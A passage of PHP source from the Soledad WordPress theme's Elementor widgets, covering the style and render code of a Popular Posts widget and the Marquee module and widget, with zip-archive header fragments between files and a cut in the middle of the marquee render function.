				'label'       => __( 'Custom Words Length for Post Titles', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'label_block' => true,
				'default'     => '10',
			)
		);

		$this->add_control(
			'penci_featimg_size', array(
				'label'                => __( 'Image Size Type', 'soledad' ),
				'type'                 => Controls_Manager::SELECT,
				'default'              => '',
				'options'              => array(
					''           => esc_html__( 'Default', 'soledad' ),
					'horizontal' => esc_html__( 'Horizontal Size', 'soledad' ),
					'square'     => esc_html__( 'Square Size', 'soledad' ),
					'vertical'   => esc_html__( 'Vertical Size', 'soledad' ),
					'custom'     => esc_html__( 'Custom', 'soledad' ),
				),
				'selectors'            => array( '{{WRAPPER}} .penci-image-holder:before' => '{{VALUE}}', ),
				'selectors_dictionary' => array(
					'horizontal' => 'padding-top: 66.6667%;',
					'square'     => 'padding-top: 100%;',
					'vertical'   => 'padding-top: 135.4%;',
				)
			)
		);
		$this->add_responsive_control(
			'penci_featimg_ratio', array(
				'label'          => __( 'Image Ratio', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'default'        => array( 'size' => 0.66 ),
				'tablet_default' => array( 'size' => '' ),
				'mobile_default' => array( 'size' => 0.5 ),
				'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
				'selectors'      => array(
					'{{WRAPPER}} .penci-image-holder:before' => 'padding-top: calc( {{SIZE}} * 100% );',
				),
				'condition'      => array( 'penci_featimg_size' => 'custom' ),
			)
		);
		$this->add_control(
			'thumb_size', array(
				'label'     => __( 'Custom Image size', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => $this->get_list_image_sizes( true ),
				'condition' => array( 'penci_featimg_size' => 'custom' ),
			)
		);

		$this->add_control(
			'show_navs', array(
				'label'   => __( 'Show Prev/Next Buttons', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => '',
			)
		);

		$this->add_control(
			'hide_dots', array(
				'label'   => __( 'Hide Dots', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => '',
			)
		);

		$this->end_controls_section();
		$this->register_block_title_section_controls_post();

		$this->start_controls_section(
			'section_popular_posts_style',
			array(
				'label' => __( 'Popular Posts', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'ptitle_style', array(
				'label' => __( 'Post Title', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);

		$this->add_control(
			'ptitle_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .item-related h3 a' => 'color: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'ptitle_hcolor', array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .item-related h3 a:hover' => 'color: {{VALUE}};',
				),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'ptitle_typo',
				'selector' => '{{WRAPPER}} .penci-home-popular-post .item-related h3, {{WRAPPER}} .penci-home-popular-post  .item-related h3 a'
			)
		);

		// Box Shadow
		$this->add_control( 'heading_featured_image_shadow', array(
			'label'     => __( 'Featured Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'featured_image_shadow_enable', array(
			'label' => __( 'Enable Shadow?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_responsive_control( 'featured_image_shadow', array(
			'label'     => __( 'Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::BOX_SHADOW,
			'selectors' => [
				'{{WRAPPER}} .related-thumb' => 'box-shadow: {{HORIZONTAL}}px {{VERTICAL}}px {{BLUR}}px {{SPREAD}}px {{COLOR}} {{box_shadow_position.VALUE}};',
			],
			'condition' => [ 'featured_image_shadow_enable' => 'yes' ]
		) );

		// Post meta
		$this->add_control(
			'heading_meta_style',
			array(
				'label'     => __( 'Post Meta', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'pmeta_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .item-related span.date' => 'color: {{VALUE}};',

				),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pmeta_typo',
				'selector' => '{{WRAPPER}} .item-related span.date'
			)
		);

		$this->add_control(
			'heading_dots_style',
			array(
				'label'     => __( 'Dots', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'_dot_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-owl-dots .penci-owl-dot span' => 'border-color: {{VALUE}};background-color: {{VALUE}};', ),
			)
		);
		$this->add_control(
			'dot_hcolor',
			array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-owl-dots .penci-owl-dot:hover span'  => 'border-color: {{VALUE}};background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-owl-dots .penci-owl-dot.active span' => 'border-color: {{VALUE}};background-color: {{VALUE}};',
				),
			)
		);

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$query_args = Module::get_query_args( 'posts', $settings );

		echo \Soledad_VC_Shortcodes::popular_posts( array(
			'title'                  => $settings['heading'],
			'hide_block_heading'     => $settings['hide_block_heading'],
			'heading_title_style'    => $settings['heading_title_style'],
			'heading_title_html_tag' => $settings['heading_title_html_tag'],
			'heading_title_link'     => $settings['heading_title_link'],
			'heading_title_align'    => $settings['block_title_align'],
			'heading_icon_pos'       => $settings['heading_icon_pos'],
			'heading_icon'           => $settings['heading_icon'],

			'penci_featimg_size'  => isset( $settings['penci_featimg_size'] ) ? $settings['penci_featimg_size'] : '',
			'penci_featimg_ratio' => isset( $settings['penci_featimg_ratio'] ) ? $settings['penci_featimg_ratio'] : '',
			'thumb_size'          => isset( $settings['thumb_size'] ) ? $settings['thumb_size'] : '',
			'show_navs'           => $settings['show_navs'],
			'hide_dots'           => $settings['hide_dots'],

			'columns'         => $settings['penci_columns'],
			'_title_length'   => $settings['_title_length'],
			'elementor_query' => $query_args,
		) );
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}
}
PK     N\Z  Z  .  inc/elementor/modules/penci-marquee/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciMarquee;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

class Module extends Module_Base {

	public function get_name() {
		return 'penci-marquee';
	}

	public function get_widgets() {
		return array( 'PenciMarquee' );
	}
}
PK     N\5Ea  Ea  =  inc/elementor/modules/penci-marquee/widgets/penci-marquee.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciMarquee\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Text_Stroke;
use Elementor\Group_Control_Css_Filter;
use Elementor\Repeater;
use Elementor\Utils;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Text_Shadow;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

// Exit if accessed directly

class PenciMarquee extends Base_Widget {

	public function get_name() {
		return 'penci-marquee';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Marquee', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-slider-video';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'marquee', 'marquee text', 'marquee-list', 'news', 'ticker' ];
	}

	public function get_script_depends() {
		return [ 'penci-marquee-el' ];
	}

	protected function register_controls() {
		$this->register_controls_layout_items();
		$this->register_controls_marquee_options();
		$this->register_controls_style_text();
		$this->register_controls_style_images();
	}

	protected function register_controls_marquee_options() {
		$this->start_controls_section(
			'section_controls_marquee',
			[
				'label' => esc_html__( 'General Options', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			]
		);
		$this->add_responsive_control(
			'marquee_item_spacing',
			[
				'label'              => esc_html__( 'Item Spacing', 'soledad' ),
				'type'               => Controls_Manager::SLIDER,
				'range'              => [
					'px' => [
						'min'  => 0,
						'max'  => 100,
						'step' => 1,
					],
				],
				'selectors'          => [
					'{{WRAPPER}} .penci-marquee-el .marquee-content' => 'margin-left: {{SIZE}}{{UNIT}};',
				],
				'frontend_available' => true,
				'render_type'        => 'template',
			]
		);

		$this->add_control(
			'marquee_speed',
			[
				'label'              => esc_html__( 'Scroll Speed', 'soledad' ),
				'type'               => Controls_Manager::NUMBER,
				'min'                => 0,
				'max'                => 10000,
				'step'               => 1,
				'default'            => 50,
				'frontend_available' => true,
				'render_type'        => 'none',
				'separator'          => 'after',

			]
		);
		$this->add_control(
			'marquee_direction',
			[
				'label'              => esc_html__( 'Direction', 'soledad' ),
				'type'               => Controls_Manager::CHOOSE,
				'options'            => [
					'left'  => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-h-align-left',
					],
					'right' => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-h-align-right',
					],
				],
				'default'            => 'left',
				'frontend_available' => true,
				'render_type'        => 'template',
				'toggle'             => false,
				'separator'          => 'before',
			]
		);
		$this->add_control(
			'marquee_pause_on_hover',
			[
				'label'              => esc_html__( 'Pause On Hover', 'soledad' ),
				'type'               => Controls_Manager::SWITCHER,
				'label_on'           => esc_html__( 'Yes', 'soledad' ),
				'label_off'          => esc_html__( 'No', 'soledad' ),
				'return_value'       => 'yes',
				'frontend_available' => true,

			]
		);

		$this->add_control(
			'marquee_draggable',
			[
				'label'              => esc_html__( 'Draggable', 'soledad' ),
				'type'               => Controls_Manager::SWITCHER,
				'label_on'           => esc_html__( 'Yes', 'soledad' ),
				'label_off'          => esc_html__( 'No', 'soledad' ),
				'return_value'       => 'yes',
				'frontend_available' => true,
			]
		);

		$this->add_control(
			'marquee_clickable',
			[
				'label'              => esc_html__( 'Clickable', 'soledad' ),
				'type'               => Controls_Manager::SWITCHER,
				'label_on'           => esc_html__( 'Yes', 'soledad' ),
				'label_off'          => esc_html__( 'No', 'soledad' ),
				'return_value'       => 'yes',
				'frontend_available' => true,
			]
		);

		$this->add_control(
			'marquee_advanced',
			[
				'label'              => esc_html__( 'Advanced Options', 'soledad' ),
				'type'               => Controls_Manager::SWITCHER,
				'label_on'           => esc_html__( 'Yes', 'soledad' ),
				'label_off'          => esc_html__( 'No', 'soledad' ),
				'return_value'       => 'yes',
				'frontend_available' => true,
				'render_type'        => 'template',
			]
		);

		$this->add_responsive_control(
			'marquee_rotate',
			[
				'label'     => esc_html__( 'Rotate', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min'  => - 100,
						'max'  => 100,
						'step' => 1,
					]
				],
				'selectors' => [
					'{{WRAPPER}}' => '--penci-marquee-el-rotate: {{SIZE}}deg;',
				],
				'separator' => 'before',
				'condition' => [
					'marquee_advanced' => 'yes'
				]
			]
		);

		$this->add_responsive_control(
			'marquee_rotate_offset',
			[
				'label' => esc_html__( 'Offset left', 'soledad' ),
				'type'  => Controls_Manager::SLIDER,
				'range' => [
					'px' => [
						'min'  => - 500,
						'max'  => 500,
						'step' => 1,
					]
				],

				'selectors' => [
					'{{WRAPPER}} ' => '--penci-marquee-el-offset: -{{SIZE}}px;',
				],
				'condition' => [
					'marquee_advanced' => 'yes'
				]
			]
		);

		$this->add_responsive_control(
			'marquee_rotate_adjustment',
			[
				'label'     => esc_html__( 'Offset Right', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min'  => - 500,
						'max'  => 500,
						'step' => 1,
					]
				],
				'selectors' => [
					'{{WRAPPER}} ' => '--penci-marquee-el-adjustment: {{SIZE}}px;',
				],
				'condition' => [
					'marquee_advanced' => 'yes'
				]
			]
		);

		$this->add_control(
			'skin_shadow_mode',
			[
				'label'        => esc_html__( 'Shadow Mode', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'prefix_class' => 'penci-shadow-mode-',
				'render_type'  => 'template',
				'separator'    => 'before',
			]
		);

		$this->add_control(
			'skin_shadow_color',
			[
				'label'     => esc_html__( 'Shadow Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'skin_shadow_mode' => 'yes',
				],
				'selectors' => [
					'{{WRAPPER}}.penci-shadow-mode-yes:before' => is_rtl() ? 'background: linear-gradient(to left, {{VALUE}} 5%,rgba(255,255,255,0) 100%);' : 'background: linear-gradient(to right, {{VALUE}} 5%,rgba(255,255,255,0) 100%);',
					'{{WRAPPER}}.penci-shadow-mode-yes:after'  => is_rtl() ? 'background: linear-gradient(to left, rgba(255,255,255,0) 0%, {{VALUE}} 95%);' : 'background: linear-gradient(to right, rgba(255,255,255,0) 0%, {{VALUE}} 95%);',
				],
			]
		);

		$this->end_controls_section();
	}

	protected function register_controls_layout_items() {
		$this->start_controls_section(
			'section_layout_text',
			[
				'label' => esc_html__( 'Marquee', 'soledad' ),
			]
		);
		$this->add_control(
			'marquee_motice',
			[
				'type'            => Controls_Manager::RAW_HTML,
				'raw'             => esc_html__( 'Please switch to "Preview Mode" to fully experience the Marquee Widget\'s functionality and make any needed adjustments.', 'soledad' ),
				'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',
			]
		);
		$this->add_control(
			'marquee_type',
			[
				'label'              => esc_html__( 'Marquee Type', 'soledad' ),
				'type'               => Controls_Manager::SELECT,
				'options'            => [
					'image' => esc_html__( 'Image', 'soledad' ),
					'text'  => esc_html__( 'Text', 'soledad' ),
				],
				'default'            => 'image',
				'frontend_available' => true,
				'render_type'        => 'template',
			]
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'      => 'thumbnail',
				'label'     => esc_html__( 'Image Size', 'soledad' ),
				'exclude'   => [ 'custom' ],
				'default'   => 'medium',
				'condition' => [
					'marquee_type' => 'image'
				]
			]
		);

		$this->add_responsive_control(
			'marquee_image_height',
			[
				'label'       => esc_html__( 'Height', 'soledad' ),
				'description' => esc_html__( 'Set image size in pixel. Default is 250px', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'size_units'  => [ 'px', 'vh', '%' ],
				'range'       => [
					'px' => [
						'min'  => 50,
						'max'  => 450,
						'step' => 1,
					]
				],
				'default'     => [
					'size' => 250,
					'unit' => 'px',
				],
				'selectors'   => [
					'{{WRAPPER}} .penci-marquee-el .marquee-content img' => 'object-fit: contain;width: auto; height: {{SIZE}}{{UNIT}};',
				],
				'render_type'        => 'template',
				'condition' => [
					'marquee_type' => 'image'
				]
			]
		);

		$this->add_control(
			'marquee_image_caption',
			[
				'label'       => esc_html__( 'Show Image Caption', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'condition' => [
					'marquee_type' => 'image'
				]
			]
		);

		$repeater = new Repeater();
		$repeater->add_control(
			'marquee_content',
			[
				'label'       => esc_html__( 'Content', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::TEXT,
			]
		);
		$repeater->add_control(
			'marquee_link',
			[
				'label'         => __( 'Link', 'soledad' ),
				'type'          => Controls_Manager::URL,
				'placeholder'   => __( 'https://example.com', 'soledad' ),
				'show_external' => true,
				'default'       => [
					'url'         => '',
					'is_external' => true,
					'nofollow'    => true,
				],
			]
		);
		$repeater->add_control(
			'marquee_color',
			[
				'label'       => esc_html__( 'Color', 'soledad' ),
				'type'        => Controls_Manager::COLOR,
				'default'     => '',
				'render_type' => 'template',
				'separator'   => 'before'
			]
		);

		$repeater->add_control(
			'marquee_bg_color',
			[
				'label'       => esc_html__( 'Background Color', 'soledad' ),
				'type'        => Controls_Manager::COLOR,
				'render_type' => 'template'
			]
		);

		$this->add_control(
			'marquee_type_text',
			[
				'label'              => esc_html__( 'Marquee Items', 'soledad' ),
				'type'               => Controls_Manager::REPEATER,
				'fields'             => $repeater->get_controls(),
				'title_field'        => '{{{ marquee_content }}}',
				'condition'          => [
					'marquee_type' => 'text'
				],
				'frontend_available' => true,
				'render_type'        => 'none',
				'prevent_empty'      => false,
				'default'            => [
					[
						'marquee_content' => esc_html__( "PenciDesign", 'soledad' )
					],
					[
						'marquee_content' => esc_html__( "Soledad", 'soledad' )
					],
					[
						'marquee_content' => esc_html__( "WordPress", 'soledad' )
					],
					[
						'marquee_content' => esc_html__( "WooCommerce", 'soledad' )
					],
					[
						'marquee_content' => esc_html__( "Elementor", 'soledad' )
					],
					[
						'marquee_content' => esc_html__( "ThemeForest", 'soledad' )
					],
				]
			]
		);

		$image_slides = new Repeater();
		$image_slides->add_control(
			'marquee_image',
			[
				'label' => esc_html__( 'Image', 'soledad' ),
				'type'  => Controls_Manager::MEDIA,
			]
		);
		$image_slides->add_control(
			'marquee_image_link',
			[
				'label'         => __( 'Link', 'soledad' ),
				'type'          => Controls_Manager::URL,
				'placeholder'   => __( 'https://example.com', 'soledad' ),
				'show_external' => true,
				'default'       => [
					'url'         => '',
					'is_external' => true,
					'nofollow'    => true,
				],
			]
		);
		$this->add_control(
			'marquee_type_images',
			[
				'label'         => esc_html__( 'Maruqee Items', 'soledad' ),
				'type'          => Controls_Manager::REPEATER,
				'fields'        => $image_slides->get_controls(),
				'condition'     => [
					'marquee_type' => 'image'
				],
				'prevent_empty' => false,
				'default'       => [
					[
						'marquee_image' => [
							'url' => Utils::get_placeholder_image_src()

						]
					],
					[
						'marquee_image' => [
							'url' => Utils::get_placeholder_image_src()
						]
					],
					[
						'marquee_image' => [
							'url' => Utils::get_placeholder_image_src()
						]
					],
					[
						'marquee_image' => [
							'url' => Utils::get_placeholder_image_src()
						]
					],
					[
						'marquee_image' => [
							'url' => Utils::get_placeholder_image_src()
						]
					],
					[
						'marquee_image' => [
							'url' => Utils::get_placeholder_image_src()
						]
					],
					[
						'marquee_image' => [
							'url' => Utils::get_placeholder_image_src()
						]
					],
					[
						'marquee_image' => [
							'url' => Utils::get_placeholder_image_src()
						]
					]

				]
			]
		);
		$this->end_controls_section();
	}

	protected function register_controls_style_text() {

		$this->start_controls_section(
			'section_style_title',
			[
				'label'     => esc_html__( 'Marquee', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'marquee_type' => 'text'
				]
			]
		);

		$this->start_controls_tabs(
			'marquee_title_style_tabs'
		);
		$this->start_controls_tab(
			'marquee_title_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);
		$this->add_control(
			'marquee_title_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-marquee-el .marquee-content .marquee-title' => 'color: {{VALUE}} !important',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'marquee_title_background',
				'label'    => esc_html__( 'Background', 'soledad' ),
				'types'    => [ 'classic', 'gradient' ],
				'selector' => '{{WRAPPER}} .penci-marquee-el .marquee-content',
			]
		);
		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'      => 'marquee_title_border',
				'label'     => esc_html__( 'Border', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-marquee-el .marquee-content',
				'separator' => 'before',
			]
		);
		$this->add_responsive_control(
			'marquee_title_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%', 'em' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-marquee-el .marquee-content' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);
		$this->add_responsive_control(
			'marquee_title_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%', 'em' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-marquee-el .marquee-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'marquee_title_typogrphy',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-marquee-el .marquee-content',
			]
		);

		$this->add_group_control(
			Group_Control_Text_Stroke::get_type(),
			[
				'name'     => 'title_text_stroke',
				'label'    => esc_html__( 'Text Stroke', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-marquee-el .marquee-content',
			]
		);
		$this->add_group_control(
			Group_Control_Text_Shadow::get_type(),
			[
				'name'     => 'marquee_title_text_shadow',
				'label'    => esc_html__( 'Text Shadow', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-marquee-el .marquee-content',
			]
		);
		$this->end_controls_tab();
		$this->start_controls_tab(
			'marquee_title_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'marquee_title_h_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-marquee-el .marquee-content:hover .marquee-title' => 'color: {{VALUE}} !important',
				],
			]
		);
		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'marquee_title_h_background',
				'label'    => esc_html__( 'Background', 'soledad' ),
				'types'    => [ 'classic', 'gradient' ],
				'selector' => '{{WRAPPER}} .penci-marquee-el .marquee-content:hover',
			]
		);
		$this->add_control(
			'marquee_title_border_h_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-marquee-el .marquee-content:hover' => 'border-color: {{VALUE}};',
				],
				'condition' => [
					'marquee_title_border_border!' => '',
				]
			]
		);
		$this->end_controls_tab();
		$this->end_controls_tabs();
		$this->end_controls_section();
	}

	public function get_calculated_image_width( $attachment_id, $desired_height ) {
		// Get image metadata
		$image_meta = wp_get_attachment_metadata($attachment_id);
		
		if (!$image_meta || !isset($image_meta['width']) || !isset($image_meta['height'])) {
			return 200;
		}
		
		$original_width = $image_meta['width'];
		$original_height = $image_meta['height'];
		
		// Calculate aspect ratio and new width
		$aspect_ratio = $original_width / $original_height;
		$calculated_width = round($desired_height * $aspect_ratio);
		
		return $calculated_width;
	}

	protected function register_controls_style_images() {
		$this->start_controls_section(
			'section_style_controls_image',
			[
				'label'     => esc_html__( 'Marquee Images', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'marquee_type' => 'image'
				]
			]
		);

		$this->start_controls_tabs(
			'marquee_image_style_tabs'
		);
		$this->start_controls_tab(
			'marquee_image_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);
		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'marquee_image_background',
				'label'    => esc_html__( 'Background', 'soledad' ),
				'types'    => [ 'classic', 'gradient' ],
				'selector' => '{{WRAPPER}} .penci-marquee-el .marquee-content',
			]
		);
		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'     => 'marquee_image_border',
				'label'    => esc_html__( 'Border', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-marquee-el .marquee-content',
			]
		);
		$this->add_responsive_control(
			'marquee_image_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%', 'em' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-marquee-el .marquee-content' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);
		$this->add_responsive_control(
			'marquee_image_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%', 'em' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-marquee-el .marquee-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);
		$this->add_group_control(
			Group_Control_Css_Filter::get_type(),
			[
				'name'     => 'css_filters',
				'selector' => '{{WRAPPER}} .penci-marquee-el .marquee-image img',
			]
		);
		$this->end_controls_tab();
		$this->start_controls_tab(
			'marquee_image_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);
		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'marquee_image_background_hover',
				'label'    => esc_html__( 'Background', 'soledad' ),
				'types'    => [ 'classic', 'gradient' ],
				'selector' => '{{WRAPPER}} .penci-marquee-el .marquee-content:hover',
			]
		);
		$this->add_control(
			'marquee_border_hover_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-marquee-el .marquee-content:hover' => 'border-color: {{VALUE}};',
				],
				'condition' => [
					'marquee_image_border_border!' => '',
				]
			]
		);
		$this->add_group_control(
			Group_Control_Css_Filter::get_type(),
			[
				'name'     => 'css_filters_hover',
				'selector' => '{{WRAPPER}} .penci-marquee-el .marquee-image:hover img',
			]
		);
		$this->end_controls_tab();
		$this->end_controls_tabs();
		$this->end_controls_section();
	}


	public function render_thumbnail( $item, $show_caption = '' ) {
		$settings  = $this->get_settings_for_display();
		$image     = $item['marquee_image'];
		$thumb_url = Group_Control_Image_Size::get_attachment_image_src( $image['id'], 'thumbnail', $settings );
		$link      = $item['marquee_image_link'];

		$width = $this->get_calculated_image_width( $image['id'], $settings['marquee_image_height']['size'] );
		$style     = 'width:' . $width . 'px;';
		$caption = wp_get_attachment_caption( $image['id'] );
		$class = $caption_html = '';
		if ( $show_caption && $caption ) {
			$class = ' wp-caption';
			$caption_html = '<p class="wp-caption-text">' . esc_html( $caption ) . '</p>';
		}
		// Define image content based on available URL
		$content = $thumb_url
			? wp_get_attachment_image( $image['id'], $settings['thumbnail_size'] )
			: '<img  src="' . esc_url( $image['url'] ) . '" alt="">';

		// Check if link exists and wrap content with link attributes
		if ( ! empty( $link['url'] ) ) {
			$this->add_link_attributes( 'marquee-link', $link, true );
			$link_attributes = 'class="marquee-link marquee-content marquee-image'.$class.'" ' . $this->get_render_attribute_string( 'marquee-link' );

			echo wp_kses_post( '<a ' . $link_attributes . ' style="' . esc_attr( $style ) . '">' . $content . $caption_html . '</a>' );
		} else {
			echo '<div class="marquee-content marquee-image'.$class.'" style="' . esc_attr( $style ) . '">' . wp_kses_post( $content ) . $caption_html . '</div>';
		}
	}


	function marquee_rolling() {
		$settings                     = $this->get_settings_for_display();
		$contentText                  = $settings['marquee_type_text'];
		$contentImages                = $settings['marquee_type_images'];
		?>
		<?php if ( $settings['marquee_type'] === 'text' ) : ?>
			<?php if ( $contentText ) :
				$count = 0;
				foreach ( $contentText as $index => $list ) :
					$single_color = 'link_' . $index;
					$marquee_bg_color = 'marquee_bg_color_' . $index;
					if ( ! empty( $list['marquee_bg_color'] ) ) {
						$this->add_render_attribute( $marquee_bg_color, 'style', 'background-color: ' . $list['marquee_bg_color'] . ';' );
					}
					if ( ! empty( $list['marquee_color'] ) ) {
						$this->add_render_attribute( $single_color, 'style', 'color: ' . $list['marquee_color'] . ';' );
					}
					?>

                    <div class="marquee-content marquee-text" <?php $this->print_render_attribute_string( $marquee_bg_color ); ?>>


						<?php
						if ( ! empty( $list['marquee_link']['url'] ) ) {
							$this->add_link_attributes( 'marquee-link', $list['marquee_link'], true );
							$link_attributes = 'class="marquee-title"';
							$link_attributes .= ' ' . $this->get_render_attribute_string( 'marquee-link' );
							printf( '<a %1$s %3$s>%2$s</a>', wp_kses_post( $link_attributes ), esc_html( $list['marquee_content'] ), wp_kses_post( $this->get_render_attribute_string( $single_color ) ) );
						} else {
